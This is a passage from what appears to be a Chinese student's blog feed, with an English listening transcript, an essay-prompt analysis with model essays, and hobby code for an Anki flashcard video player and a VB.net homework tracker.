restaurant if I want to. The money is pretty good. But I’m thinking of getting some experience in my field. I’m graduating next year.<br />Man - Maybe you should try a different summer job. It would mean a pay cut, but it’ll be worth it, not only do you get experience, you make all kinds of contacts.<br />Woman - But I just have no idea how to find a suitable one.<br />Man - Why not go to the summer job fair? Hang on, I’ve got the leaflet in my bag.<br />Woman - Great.<br />Man - It’s next week on the 16th at the student center, from 9 AM to 3 PM.<br />Woman - That’s wonderful. Should I dress as if I’m going to an interview?<br />Man - It doesn’t mention how are you should dress.<br />Woman - Shall I bring my résumé?<br />Man - it’s not required but it’s a good idea.<br />Woman - OK. Does it say what kinds of summer jobs are available? You know I want to be a teacher.<br />Man - You can try to get harder to summer camp, several are listed on there.<br />Woman - Excellent, I will try.<br />Man - You won’t have any trouble. You are at the top of your class.<br />Woman - Thanks for the vote of confidence.</p><ol start="17"><li>What are the speakers mainly talking about?</li><li>According to the man, why should the women find a different summer job?</li><li>What can be learned about the summer job fair?</li><li>Why does the man recommend the women to work at the summer camp?</li></ol><p>听力文件下载：<a href="https://od.vvbbnn00.cn/t/5eHG40">https://od.vvbbnn00.cn/t/5eHG40</a></p>]]>
                </content>
            </entry>
            <entry>
                <title><![CDATA[【转载】2019上海春考语文卷作文题解析及范文]]></title>
                <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn/archives/-zhuan-zai-2019-shang-hai-chun-kao-yu-wen-juan-zuo-wen-ti-jie-xi-ji-fan-wen" />
                <id>tag:https://blog.vvbbnn00.cn,2021-01-03:-zhuan-zai-2019-shang-hai-chun-kao-yu-wen-juan-zuo-wen-ti-jie-xi-ji-fan-wen</id>
                <published>2021-01-03T14:24:00+08:00</published>
                <updated>2021-01-03T14:24:00+08:00</updated>
                <author>
                    <name>不做评论</name>
                    <uri>https://blog.vvbbnn00.cn</uri>
                </author>
                <content type="html">
                        <![CDATA[<h2 id="原题回放">原题回放：</h2><p>“在阳光里生活，需要有步入阳光的能力”这句意蕴丰富的话，引发你怎样的思考？请就此写一篇文章，题目自拟，不少于800字。</p><table><thead><tr><th>题目类型</th><th>话题词</th></tr></thead><tbody><tr><td>寓意类、观点型</td><td>步入阳光的能力</td></tr></tbody></table><h2 id="材料侧重">材料侧重：</h2><p>材料要求写出你对“在阳光里生活，需要有步入阳光的能力”引发的思考。引发的思考也就是对此你有怎样比较深刻、周到的想法。如思考:</p><ul><li>“阳光”本意是什么，在此又寓意了什么?</li><li>“在阳光里生活有是指什么？”</li><li>“需要有步入阳光的能力又指什么？”</li><li>“步入阳光的能力”有哪些？</li><li>为什么要有步入阳光的能力？</li><li>有了这些步入阳光的能力会产生有什么作用意义或危害？我们应该怎样做？<br />然后选择自己思考感受最深的一点或几点来运思行文。</li></ul><h2 id="界定概念">界定概念：</h2><h3 id="阳光">阳光:</h3><p>有益于人生存发展的光明、温暖、理想、美好的生活环境。可以是我们的理想、目标、愿望；也可以是积极进取的心态、蓬勃向上的生命力、社会的公平与正义、美好的社会环境、美好的人和事……</p><h3 id="在阳光下生活">在阳光下生活:</h3><p>在有益于人们生存发展的光明、温暖、理想、美好的环境中生活。</p><h3 id="在阳光里生活">“在阳光里生活”：</h3><p>过去时---对自己既往生活的反思;<br />现在时---对当下生活的直接审视;<br />将来时----对未来生活所做的思想与心理准备。“在阳光里生活”是前提条件或假设的现象。</p><h2 id="主客观原因为什么要有步入阳光的能力主观客观">主客观原因：为什么要有步入阳光的能力？（主观、客观）</h2><ul><li>不断提升自我、修炼自我的过程。</li><li>生活中的困难和挫折无处不在，人人都想要在阳光下生活，但不是每个人都有步入阳光的能力。</li><li>事物都有两面性，阳光不仅带给我们温暖和煦，也会让我们晒伤晒黑或纤毫毕现。因此，步入阳光需要态度，也需要能力</li></ul><h2 id="作用意义危害我们要有怎样的能力才能步入阳光">作用意义危害：我们要有怎样的能力才能步入阳光？</h2><ul><li>要有乐观的心态，做个“独立、善良、智慧、美丽”的人，有自己的追求，在提高自己修养的同时，也善待他人。</li><li>要有顽强的意志、坚定信念；积极向上、矢志不渝的决心。</li><li>要有学习力，善于学习;要有创作力;拥有团队精神，学会合作，懂得宽容和谅解的社交能力。</li><li>生活在今天的同学，物质相对富足，而精神多元，应以抗挫折能力适应幸福与丰富。</li></ul><h2 id="做法我们应该怎样做">做法：我们应该怎样做？</h2><ul><li>我们要相信阳光的存在，认清阳光的方向；调整好心态，勇于步入阳光，执着追求阳光。</li><li>我们不必要求自己马上摆脱阴阴霾（风雨），可稍作停留、缓冲，但要相信阳光的存在---天将降大任于斯人也，必先苦其心志……；不经一番寒切骨，怎得梅花扑鼻香……</li><li>阳光到处都在，就看你是否看得到;有些人头顶永远有一片阴霾，这样就遮住了自己的“阳光”，所以要培养自己面对挫折的能力----巴·蒙特《为了看看阳光，我来到这世上》。</li></ul><h2 id="名言链接">名言链接</h2><ul><li>你的负担将成为你的礼物，你受过的苦将照亮你的路。----泰戈尔</li><li>人和树木是一样的，越是向往高处的阳光，他的根就越要扎入更深的地底。--尼采</li><li>世上万物都有缝隙，那是阳光漏进来的地方。-----莱昂纳德·科恩的《颂歌》</li><li>每一个不曾起舞的日子，都是对生命的辜负。----尼采</li><li>世界上只有一种真正的英雄主义,那就是在认识生活的真相后依然热爱生活。----罗曼罗兰</li><li>人生的一切变化，一切魅力，一切美都是由光明和阴影构成的。----托尔斯泰</li></ul><h2 id="范文">范文</h2><h3 id="1心向阳光不惧风雨-62分">1.心向阳光，不惧风雨 （62分）</h3><p>①“在阳光里生活，需要有步入阳光的能力”，这是因为人人都想要在阳光下生活，但不是每个人都有步入阳光的能力，所以我们要心向阳光，不惧风雨。<em>（引材料，明观点）</em><br />②“不经历风雨怎能见彩虹”，人生不可能一帆风顺，常常是在经受风雨之后见到阳光，在一次次挫折之后变得成熟。而所谓“步入阳光的能力”，就是在阳光和风雨的历练中获得的使自己生存、发展的能力。就像凭借《古剑奇谭》成为流量小生李易峰，面对大家对他演技的质疑，他相信阳光总在风雨后，不断琢磨每一个角色，磨台词、磨演技。如今的他凭借坚定信念，努力付出终于在《麻雀》中成功转型，逐渐从流量小生转为一名真正的演技派演员。李易峰完美地演绎了泰戈尔的名言：“你的负担将成为你的礼物，你受过的苦将照亮你的路”。<em>（例证、引证证明：步入阳光的能力是在阳光和风雨的历练中获得的使自己生存、发展的能力）</em><br />③同样《老人与海》中的桑提亚哥在周围人的嘲笑中为了证明自己，再度出海。他与马林鱼周旋了三天三夜，与鲨鱼进行了殊死搏斗……原本桑提亚哥因捕不到鱼被人嘲讽的生活，可以说阴云密布，未必有阳光，但他面对无数的失败，他坚持要证明自己。纵然回来后老人的生活环境没多大变化，但老人已不是出海前的老人，他成了精神上的强者，生活在阳光下的“硬汉”。古今中外，这样的事例不胜枚举，如在耳聋后坚持创作的贝多芬，在丧夫之痛中继续科研的居里夫人，在双腿残疾后学习创作的史铁生，他们都是凭着坚定的信念，自强和自尊的心理才拨云见日，在阳光下生活。<em>(举例证明：步入阳光要有坚定信念，自强和自尊的心理）</em><br />④阳光下的生活固然美好，温暖，但不如意之事常八九，风雨人生是常态，风雨中的生活我们要不惧怕。每个人都是独一无二的，有自己的位置和作用，所以不要轻易否定自己，要相信“天生我材必有用”。当事业失败时，当感情受挫时，当生活失意时，请不要惧怕眼前风雨，不要怀疑自己的能力。因为“我走过许多地方，有寒冷的，有温暖的，有崎岖的，有平坦的……但没有哪一片土地不值得我关注。” 寒冷、温暖、崎岖、平坦的生活都在历练我们，所以我们应不惧风雨，以积极的心态看待风雨，才能感受到阳光的存在和温暖。<em>（引用证明：我们应不惧风雨，才能感受到阳光的存在和温暖）</em><br />⑤ 总之我们要心向阳光，不惧风雨，完善自身，让自己有坚定的信念、自强和自尊的心理，去开拓美好新生活。 *（总结全文，重申论点）<br />*</p><h3 id="2欲戴王冠先承其重60分">2.欲戴王冠，先承其重（60分）</h3><p>①“在阳光下生活”我们可理解为在有益于我们生存发展的美好、理想的环境中生活，但这样的生活需要我们有步入阳光的能的力。<em>（引用材料，界定概念，明确观点）</em><br />②步入阳光，是冲破阴霾的勇气和行动。苏轼政治上失意，再三被贬，在旁人看来，他的人生在那一刻已变成黑暗，而苏轼却逍遥洒脱，他游快哉亭，品荔枝，自创东坡肉，是他亲手撕破了头顶的乌云，让阳光重照大地，自己在世事浮沉之后仍能乐观生活，苏轼就拥有这种拥抱阳光的能力。面对逆境，若一蹶不振，将永远看不到黎明的曙光。唯有冲破桎梏，去追逐阳光，才能最终拥有它。这也正如我们莘莘学子，为了梦想和未来而奋斗着，正如背井离乡的农民工们，为了生活和家人而努力着，正如餐风露宿的科考队员们，为了科技的发展而奉献着。所以我们要有勇气去步入阳光，遇到困难不退缩，将黑暗变成纯白，将阴霾变成阳光。<em>（举例证明：步入阳光，是冲破阴霾的勇气和行动）</em><br />③步入阳光，是一个不断提升自我、修炼自我的过程。凭借《花千骨》成功跃身为阳光下自带光环的赵丽颖。她修炼过程中付出的努力是常人难以想象，她曾跑了八年的龙套，在她主演《陆贞传奇》刚有点名气时，整容和坐台的阴霾笼罩着她。但赵丽颖不在意那些阴霾，成了娱乐圈“拼命三娘”，专注于拍戏提高自己的演技。用一部部的作品，不断提升演技，用实力冲出了阴霾，演绎了农村姑娘的逆袭，从而坦然地生活在阳光下。<em>（举例证明：步入阳光，是一个不断提升自我、修炼自我的过程）</em><br />④世上不可能总是阳光明媚，常有风雨雷电，所以我们要内心澄澈，相信阳光的存在，并勇敢地步入阳光地带。其实享受阳光是一种能力，也是一种素养。如身受宫刑的司马迁，却秉笔直书《史记》；仕途失意的李白，却笑傲诗坛；困于轮椅的史铁生，却放飞理想……他们相信阳光的存在，并勇敢地步入阳光地带，不仅自己生活在阳光里，也成为别人的一片阳光，给别人带来温暖;相反，无颜见江东父老的西楚霸王，却拨剑自绝；吟诵着面朝大海，春暖花开的海子，却卧轨自杀；塑造了桑提亚哥硬汉形象的海明威，却用猎枪结束了自己……他们没有坚信阳光存在，被眼前的阴霾遮住了阳光，走不出困境，被邪恶所吞噬。所以我们要调整好心态，不必要求自己马上摆脱阴霾，可以稍作停留、缓冲，但要相信阳光的存在，努力寻找并步入阳光里*（举例证明:我们要相信阳光的存在，并勇敢地步入阳光地带--做法）*。</p><p>本文章转自互联网【 <a href="https://wenku.baidu.com/view/d96981d60129bd64783e0912a216147916117e61.html">https://wenku.baidu.com/view/d96981d60129bd64783e0912a216147916117e61.html</a> 】，由博客作者重排版</p>]]>
                </content>
            </entry>
            <entry>
                <title><![CDATA[【小爱老师】通过Anki闪卡导入番剧视频]]></title>
                <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn/archives/ankiimportbangumi" />
                <id>tag:https://blog.vvbbnn00.cn,2020-09-20:ankiimportbangumi</id>
                <published>2020-09-20T14:16:00+08:00</published>
                <updated>2022-03-18T20:08:48+08:00</updated>
                <author>
                    <name>不做评论</name>
                    <uri>https://blog.vvbbnn00.cn</uri>
                </author>
                <content type="html">
                        <![CDATA[<h2 id="引言">引言</h2><p>前些日子由于老的Casio电子词典报废，但又由于时间紧迫无暇网购，便去小米专卖店购买了小爱老师作为电子词典。买到家后才发现这居然是基于安卓9的系统，作为折腾党，那怎么能不弄出点花样来？然而，在我的不懈研究下，安装APP的操作终于失败了（草！），关于这件事就放到以后再细说吧。不过我偶然发现，小爱老师中，Anki的闪卡都是HTML页面，那也就是说，可以导入视频进去观看，于是又经过了几个小时的奋战，自制的迷你视频播放页面终于完成，如图：</p><p><img src="/upload/2022/03/qq-jie-tu-d8279a0feab14e30b59af597f3a06768.jpeg" alt="qqjietu.jpeg" /></p><p>视频列表页面预览图↑</p><p><img src="/upload/2022/03/qq-jie-tu-1-d876d8efdaec403581d1869da990b116.jpeg" alt="qqjietu1.jpeg" /></p><p>播放页面预览图↑</p><p>想着独乐乐不如众乐乐，于是准备在此将网页源代码和部分番剧资源分享给大家。</p><h2 id="使用说明">使用说明</h2><p>使用方法十分简单，只需要下载我所分享的压缩包或者闪卡文件，将其全部上传至小爱老师即可，时间关系，具体操作方法下周更新。</p><p>这里放出闪卡的下载地址：番剧视频会不定时更新，视频内容和我最近补番在补什么相关，若想要自己制作，可以期待之后更新的制作教程。当然也不反对自行研究~</p><p><a href="https://cloud.189.cn/t/zEVz6jziU73i">点我下载</a>  <code>访问码:vds9</code></p><h2 id="网页代码相关">网页代码相关</h2><p>说实话十分的简单，由于本人刚接触HTML不久，对于页面的美化之类操作不是特别熟悉，因此页面较为简陋</p><p>下面放出CSS代码</p><pre><code class="language-css">@keyframes test {0% {opacity: 0;transform: translateY(30px);}80% {opacity: .5}100% {opacity: 1;transform: translateY(0);}}.card {font-family: arial;font-size: 20px;text-align: center;color: black;background-color: white;}#insidepanel {animation: test 500ms ease-in-out forwards;}#watchpanel {display: inline-block;background: #EEEEEE;color: #6F6F6F;border-radius: 3%;padding-right: 5%;padding-left: 5%;padding-top: 5%;padding-bottom: 5%;box-shadow: 10px 10px 10px #CCCCCC;transition-duration: .5s;}#lst {text-align: center;transition-duration: .2s;transition: all .5s ease;font-size: 18px;display: inline-box;animation: test 500ms ease-in-out forwards;}h1 {transition-duration: .2s;transition: all .5s ease;display: inline;font-size: 25px;font-weight: bold;animation: test 500ms ease-in-out forwards;}p {transition-duration: .2s;transition: all .5s ease;display: inline;font-size: 13px;animation: test 500ms ease-in-out forwards;}#vid_list {line-height: 25px;transition-duration: .2s;transition: all .5s ease;text-align: center;animation: test 500ms ease-in-out forwards;display: inline-block;background: #EEEEEE;color: #6F6F6F;border-radius: 3%;padding-right: 5%;padding-left: 5%;padding-top: 5%;padding-bottom: 5%;box-shadow: 10px 10px 10px #CCCCCC;word-wrap: break-word;}#lst {line-height: 25px;word-wrap: break-word;position: relative;margin: 10px auto;}#lst:nth-child(odd) {color: #6F6F6F;background: #EEEEEE;}#lst:nth-child(even) {background: #AAAAAA;color: #EEEEEE;}input {transition: 0.2s all;background: #EEEEEE;border: solid #ccc 1px;border-radius: 3px;}input:hover {cursor: pointer;background: #D8D8D8;}input:active {cursor: pointer;background: #A2A2A2;}</code></pre><p>以及HTML代码：</p><pre><code class="language-html">&lt;script&gt;list = &quot;{{剧集文件名，用|分割}}&quot;;degree = 0function analyzlist() {item = list.split(&quot;|&quot;);text = &quot;&lt;tr id='lst'&gt; &lt;th&gt; 视频名称 &lt;/th&gt;&lt;th&gt;播放链接&lt;/th&gt; &lt;/tr&gt;&quot;;var i = 0;for (i = 0; i &lt; item.length; i++) {text += &quot;&lt;tr id='lst'&gt; &lt;td&gt; &quot; + item[i] +&quot;&lt;/td&gt; &lt;td&gt; &lt;input type='button' onclick='playvid(item[i])' value='点击播放'&gt; &lt;/td&gt; &lt;/tr&gt;&quot;;}document.getElementById(&quot;lst&quot;).innerHTML = text;}function playvid(url) {document.getElementById(&quot;vid_list&quot;).style = &quot;display: none&quot;;document.getElementById(&quot;watchpanel&quot;).style = &quot;&quot;;document.getElementById(&quot;insidepanel&quot;).innerHTML = &quot;&lt;p&gt;&quot; + url + &quot;&lt;/p&gt;&lt;br&gt;&quot; +&quot;&lt;video width=\&quot;320\&quot; height=\&quot;240\&quot; controls requestFullscreen&gt; &lt;source src=\&quot;&quot; + url +&quot;\&quot; type=\&quot;video/mp4\&quot;&gt;&lt;/video&gt;&lt;br&gt;&lt;input type=\&quot;button\&quot; value=\&quot;顺时针旋转90度\&quot; onclick=\&quot;rotate();\&quot;&gt;&amp;nbsp&lt;input type=\&quot;button\&quot; value=\&quot;返回\&quot; onclick=\&quot;recovery();\&quot;&gt;&quot;;}function rotate() {degree += 90;if (degree == 360) {degree = 0}document.getElementById(&quot;watchpanel&quot;).style = &quot;transform: rotate(&quot; + degree.toString() + &quot;deg)&quot;;}function recovery() {document.getElementById(&quot;vid_list&quot;).style = &quot;&quot;;document.getElementById(&quot;watchpanel&quot;).style = &quot;display: none&quot;;document.getElementById(&quot;insidepanel&quot;).innerHTML = &quot;&quot;;}analyzlist();//playvid(&quot;1&quot;);&lt;/script&gt;&lt;body&gt;&lt;div name=&quot;vid_list&quot; style=&quot;&quot; id=&quot;vid_list&quot;&gt;&lt;h1&gt;视频列表&lt;/h1&gt;&lt;/br&gt;&lt;p&gt;测试版视频播放器v0.9.20.3 By 不做评论&lt;br&gt;若显示异常，请关闭夜间模式后再使用&lt;/p&gt;&lt;br&gt;&lt;input type=&quot;button&quot; value=&quot;若没有列表出现点我&quot; onclick=&quot;analyzlist()&quot;&gt;&lt;/br&gt;&lt;table name=&quot;lst&quot; id=&quot;lst&quot;&gt;&lt;/table&gt;&lt;/div&gt;&lt;div name=&quot;watchpanel&quot; id=&quot;watchpanel&quot; style=&quot;display:none&quot;&gt;&lt;div id=&quot;insidepanel&quot;&gt;Loading&lt;/div&gt;&lt;/div&gt;&lt;/body&gt;</code></pre>]]>
                </content>
            </entry>
            <entry>
                <title><![CDATA[2020上闵外高三暑假作业任务系统]]></title>
                <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn/archives/2020summervacationhwksys" />
                <id>tag:https://blog.vvbbnn00.cn,2020-07-19:2020summervacationhwksys</id>
                <published>2020-07-19T20:07:00+08:00</published>
                <updated>2022-03-18T20:13:05+08:00</updated>
                <author>
                    <name>不做评论</name>
                    <uri>https://blog.vvbbnn00.cn</uri>
                </author>
                <content type="html">
                        <![CDATA[<!-- wp:heading --><h2 id="user-content-h2-u8fd9u662fu4ec0u4e48">这是什么</h2><!-- /wp:heading --><!-- wp:paragraph --><p>这是我正式上传分享的第一个程序代码，主要用于查看管理高三繁重的作业。</p><!-- /wp:paragraph --><!-- wp:heading --><h2 id="user-content-h2-u5b83u6709u4ec0u4e48u529fu80fd">它有什么功能</h2><!-- /wp:heading --><!-- wp:list --><ul><li>自动下载对应不同选科的不同作业</li><li>自定义界面样式</li><li>直观的作业显示</li><li>附带音乐播放器小程序</li></ul><!-- /wp:list --><!-- wp:heading --><h2 id="user-content-h2-u7a0bu5e8fu8fd0u884cu6027u80fdu8981u6c42">程序运行性能要求</h2><!-- /wp:heading --><!-- wp:table {"className":"is-style-stripes"} --><figure class="wp-block-table is-style-stripes"><table><thead><tr><th>项目</th><th>最低配置</th></tr></thead><tbody><tr><td>操作系统</td><td>Windows7及以上</td></tr><tr><td>CPU</td><td>能开机就可以</td></tr><tr><td>内存</td><td>128MB以上</td></tr><tr><td>硬盘空间</td><td>剩余100MB以上</td></tr><tr><td>互联网</td><td>可用</td></tr></tbody></table><figcaption>其实基本上所有的电脑都能使用啦<br></figcaption></figure><!-- /wp:table --><!-- wp:heading --><h2 id="user-content-h2-u7a0bu5e8fu8fd0u884cu6027u80fdu8981u6c42">下载软件</h2><!-- /wp:heading --><!-- wp:paragraph --><p>你可以在<a href="https://github.com/vvbbnn00/smfms2020Grade12SummerVacationHomeworkSystem">Github</a>的release版块中下载或访问<a href="http://vvbbnn00.cn/Homewksys/Software/publish.htm">下载地址</a></p><!-- /wp:paragraph --><!-- wp:heading --><h2>一些核心代码</h2><!-- /wp:heading --><!-- wp:paragraph --><p>由于这个程序的任务文件使用json格式进行存档，因此读取和保存都需要对json文件进行处理，这里我是用的是newtonsoft.json的引用。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>首先建立一个tasklist类，便于主程序调用。</p><!-- /wp:paragraph --><!-- wp:origami/prism {"content":"Public Class Tsklist\nPrivate Shared ReadOnly Log As log4net.ILog = log4net.LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType)\n\nPublic Structure Task '设置任务结构\nDim tskName As String\nDim tskDetail As String\nDim isInfo As Boolean '是否为通知类信息（则无需计算进度）\nDim tskProgress As Long '当前进度\nDim tskTotal As Long '总进度\nDim Files As String '附件\nEnd Structure\nPublic Structure Subject '设置学科结构\nDim subName As String\nDim subTasks() As Task\nPublic tskCount As Long\n\nPublic Function Count() As Long\nTry\nReturn subTasks.Count\nCatch ex As Exception\nLog.Error(ex.Message)\nReturn 0\nEnd Try\nEnd Function\n\nPublic Sub AddTask(TaskName As String, isInfo As Boolean, Total As Long, Progress As Long, Optional TaskDetail As String = \u0022\u0022, Optional FileURL As String = \u0022\u0022)\nReDim Preserve subTasks(Count()) 'Redim确定新数组长度，preserve保存原始数据\nWith subTasks(Count() - 1)\n.tskName = TaskName\n.isInfo = isInfo\n.tskTotal = Total\n.tskProgress = Progress\n.tskDetail = TaskDetail\n.Files = FileURL\nEnd With\ntskCount = Count()\nEnd Sub\nEnd Structure\nPublic Author As String\nPublic Subjects() As Subject\nPublic SubCount As Long\n\nPublic Sub New()\nAuthor = \u0022\u0022\nSubCount = Count()\nEnd Sub\n\nPublic Function Count() As Long\nTry\nReturn Subjects.Count\nCatch ex As Exception\nLog.Error(ex.Message)\nReturn 0\nEnd Try\nEnd Function\n\nPublic Sub AddSubject(SubName As String)\nIf SubIndex(SubName) = -1 Then\nReDim Preserve Subjects(Count()) 'Redim确定新数组长度，preserve保存原始数据\nSubjects(Count() - 1).subName = SubName\nSubCount = Count()\nEnd If\nEnd Sub\n\nPublic Function SubIndex(SubName As String) As Long\nDim i As Long\nFor i = 0 To Count() - 1\nIf Subjects(i).subName = SubName Then Return i\nNext\nReturn -1\nEnd Function\n\nPublic Function Convert2Json() As String\nDim serializer As New JavaScriptSerializer()\nDim result As String = serializer.Serialize(Me)\nReturn result\nEnd Function\nEnd Class","lang":"vb","hash":"jwfj7w"} --><div class="wp-block-origami-prism"><pre class="line-numbers match-braces rainbow-braces language-vb"><code class="language-vb">Public Class TsklistPrivate Shared ReadOnly Log As log4net.ILog = log4net.LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType)<p>Public Structure Task '设置任务结构<br />Dim tskName As String<br />Dim tskDetail As String<br />Dim isInfo As Boolean '是否为通知类信息（则无需计算进度）<br />Dim tskProgress As Long '当前进度<br />Dim tskTotal As Long '总进度<br />Dim Files As String '附件<br />End Structure<br />Public Structure Subject '设置学科结构<br />Dim subName As String<br />Dim subTasks() As Task<br />Public tskCount As Long</p><p>Public Function Count() As Long<br />Try<br />Return subTasks.Count<br />Catch ex As Exception<br />Log.Error(ex.Message)<br />Return 0<br />End Try<br />End Function</p><p>Public Sub AddTask(TaskName As String, isInfo As Boolean, Total As Long, Progress As Long, Optional TaskDetail As String = &quot;&quot;, Optional FileURL As String = &quot;&quot;)<br />ReDim Preserve subTasks(Count()) 'Redim确定新数组长度，preserve保存原始数据<br />With subTasks(Count() - 1)<br />.tskName = TaskName<br />.isInfo = isInfo<br />.tskTotal = Total<br />.tskProgress = Progress<br />.tskDetail = TaskDetail<br />.Files = FileURL<br />End With<br />tskCount = Count()<br />End Sub<br />End Structure<br />Public Author As String<br />Public Subjects() As Subject<br />Public SubCount As Long</p><p>Public Sub New()<br />Author = &quot;&quot;<br />SubCount = Count()<br />End Sub</p><p>Public Function Count() As Long<br />Try<br />Return Subjects.Count<br />Catch ex As Exception<br />Log.Error(ex.Message)<br />Return 0<br />End Try<br />End Function</p><p>Public Sub AddSubject(SubName As String)<br />If SubIndex(SubName) = -1 Then<br />ReDim Preserve Subjects(Count()) 'Redim确定新数组长度，preserve保存原始数据<br />Subjects(Count() - 1).subName = SubName<br />SubCount = Count()<br />End If<br />End Sub</p><p>Public Function SubIndex(SubName As String) As Long<br />Dim i As Long<br />For i = 0 To Count() - 1<br />If Subjects(i).subName = SubName Then Return i<br />Next<br />Return -1<br />End Function</p><p>Public Function Convert2Json() As String<br />Dim serializer As New JavaScriptSerializer()<br />Dim result As String = serializer.Serialize(Me)<br />Return result<br />End Function<br />End Class</code></pre></div></p><!-- /wp:origami/prism --><!-- wp:paragraph --><p>它的主要功能很简单，无非就是新增任务/学科以及转换为json格式的文件。<br>接下来是将任务显示在listview控件中，但这里我并没有选择直接显示，而是先增加一个数组存放任务。原因是VB.net的listview控件并不能很好的筛选任务。<br>一些实现功能的核心代码如下：</p><!-- /wp:paragraph --><!-- wp:heading {"level":3} --><h3>1<strong>、在数组中增加一项</strong></h3><!-- /wp:heading --><!-- wp:origami/prism {"content":"    Public Function AddIntoList(SubjectName As String, TaskName As String, TaskDetail As String, isInfo As Boolean, TaskProgress As Long, TaskTotal As Long, FileURL As String) As Long\r\n        Dim item0 As String = (SubjectName)\r\n        Dim item1 As String = (TaskName)\r\n        Dim item2 As String = (TaskDetail)\r\n        Dim item3 As String\r\n        If isInfo Then\r\n            item3 = (\u0022通知\u0022)\r\n        Else\r\n            item3 = (TaskProgress \u0026 \u0022/\u0022 \u0026 TaskTotal)\r\n            Global_Progress += TaskProgress\r\n            Global_Total += TaskTotal\r\n        End If\r\n        Dim a = list_Remains.Items.Add(item0)\r\n        a.SubItems.AddRange({item1, item2, item3, FileURL, RemainList_count})\r\n        If isInfo Then\r\n            a.ForeColor = My.Settings.NotificationColor\r\n            a.Font = My.Settings.NotificationFont\r\n            a.StateImageIndex = 2\r\n        Else\r\n            If TaskProgress = TaskTotal Then\r\n                a.ForeColor = My.Settings.FinishedColor\r\n                a.Font = My.Settings.FinishedFont\r\n                a.StateImageIndex = 1\r\n            Else\r\n                a.ForeColor = My.Settings.UnfinishedColor\r\n                a.Font = My.Settings.UnfinishedFont\r\n                a.StateImageIndex = 0\r\n            End If\r\n        End If\r\n        ReDim Preserve RemainList(RemainList_count)\r\n        With RemainList(RemainList_count)\r\n            .GlobalID = RemainList_count\r\n            .subject = item0\r\n            .name = item1\r\n            .detail = item2\r\n            .progress = item3\r\n            .url = FileURL\r\n            .show = True\r\n        End With\r\n        RemainList_count += 1\r\n        Return 0\r\n    End Function","lang":"vb","hash":"36jh8e"} --><div class="wp-block-origami-prism"><pre class="line-numbers match-braces rainbow-braces language-vb"><code class="language-vb">    Public Function AddIntoList(SubjectName As String, TaskName As String, TaskDetail As String, isInfo As Boolean, TaskProgress As Long, TaskTotal As Long, FileURL As String) As Long        Dim item0 As String = (SubjectName)        Dim item1 As String = (TaskName)        Dim item2 As String = (TaskDetail)        Dim item3 As String        If isInfo Then            item3 = ("通知")        Else            item3 = (TaskProgress &amp; "/" &amp; TaskTotal)            Global_Progress += TaskProgress            Global_Total += TaskTotal        End If        Dim a = list_Remains.Items.Add(item0)        a.SubItems.AddRange({item1, item2, item3, FileURL, RemainList_count})        If isInfo Then            a.ForeColor = My.Settings.NotificationColor            a.Font = My.Settings.NotificationFont            a.StateImageIndex = 2        Else            If TaskProgress = TaskTotal Then                a.ForeColor = My.Settings.FinishedColor                a.Font = My.Settings.FinishedFont                a.StateImageIndex = 1            Else                a.ForeColor = My.Settings.UnfinishedColor                a.Font = My.Settings.UnfinishedFont                a.StateImageIndex = 0            End If        End If        ReDim Preserve RemainList(RemainList_count)        With RemainList(RemainList_count)            .GlobalID = RemainList_count            .subject = item0            .name = item1            .detail = item2            .progress = item3            .url = FileURL            .show = True        End With        RemainList_count += 1        Return 0    End Function</code></pre></div><!-- /wp:origami/prism --><!-- wp:heading {"level":3} --><h3>2、刷新列表</h3><!-- /wp:heading --><!-- wp:origami/prism {"content":" Public Sub RefreshList()\r\n        list_Remains.Items.Clear()\r\n        For i = 0 To RemainList.Count - 1\r\n            With RemainList(i)\r\n                If .show = True Then\r\n                    Dim a = list_Remains.Items.Add(.subject)\r\n                    a.SubItems.AddRange({ .name, .detail, .progress, .url, .GlobalID})\r\n                    If .progress = \u0022通知\u0022 Then\r\n                        a.ForeColor = My.Settings.NotificationColor\r\n                        a.Font = My.Settings.NotificationFont\r\n                        a.StateImageIndex = 2\r\n                    Else\r\n                        Dim progress() As String\r\n                        progress = Split(.progress, \u0022/\u0022)\r\n                        If progress(0) = progress(1) Then\r\n                            a.ForeColor = My.Settings.FinishedColor\r\n                            a.Font = My.Settings.FinishedFont\r\n                            a.StateImageIndex = 1\r\n                        Else\r\n                            a.ForeColor = My.Settings.UnfinishedColor\r\n                            a.Font = My.Settings.UnfinishedFont\r\n                            a.StateImageIndex = 0\r\n                        End If\r\n                    End If\r\n                End If\r\n            End With\r\n        Next\r\n    End Sub","lang":"vb","hash":"i6cfvd"} --><div class="wp-block-origami-prism"><pre class="line-numbers match-braces rainbow-braces language-vb"><code class="language-vb"> Public Sub RefreshList()        list_Remains.Items.Clear()        For i = 0 To RemainList.Count - 1            With RemainList(i)                If .show = True Then                    Dim a = list_Remains.Items.Add(.subject)                    a.SubItems.AddRange({ .name, .detail, .progress, .url, .GlobalID})                    If .progress = "通知" Then                        a.ForeColor = My.Settings.NotificationColor                        a.Font = My.Settings.NotificationFont                        a.StateImageIndex = 2                    Else                        Dim progress() As String                        progress = Split(.progress, "/")                        If progress(0) = progress(1) Then                            a.ForeColor = My.Settings.FinishedColor                            a.Font = My.Settings.FinishedFont                            a.StateImageIndex = 1                        Else                            a.ForeColor = My.Settings.UnfinishedColor                            a.Font = My.Settings.UnfinishedFont                            a.StateImageIndex = 0                        End If                    End If                End If            End With        Next    End Sub</code></pre></div><!-- /wp:origami/prism --><!-- wp:heading {"level":3} --><h3>3、列表排序（来源于网络）</h3><!-- /wp:heading --><!-- wp:origami/prism {"content":"     Private Sub List_Remains_ColumnClick(sender As Object, e As ColumnClickEventArgs) Handles list_Remains.ColumnClick\r\n        ' Get the new sorting column.\r\n        Dim new_sorting_column As ColumnHeader = sender.Columns(e.Column)\r\n        ' Figure out the new sorting order.\r\n        Dim sort_order As System.Windows.Forms.SortOrder\r\n        If m_SortingColumn Is Nothing Then\r\n            ' New column. Sort ascending.\r\n            sort_order = SortOrder.Ascending\r\n        Else ' See if this is the same column.\r\n            If new_sorting_column.Equals(m_SortingColumn) Then\r\n                ' Same column. Switch the sort order.\r\n                If m_SortingColumn.Text.EndsWith(\u0022▲\u0022) Then\r\n                    sort_order = SortOrder.Descending\r\n                Else\r\n                    sort_order = SortOrder.Ascending\r\n                End If\r\n            Else\r\n                ' New 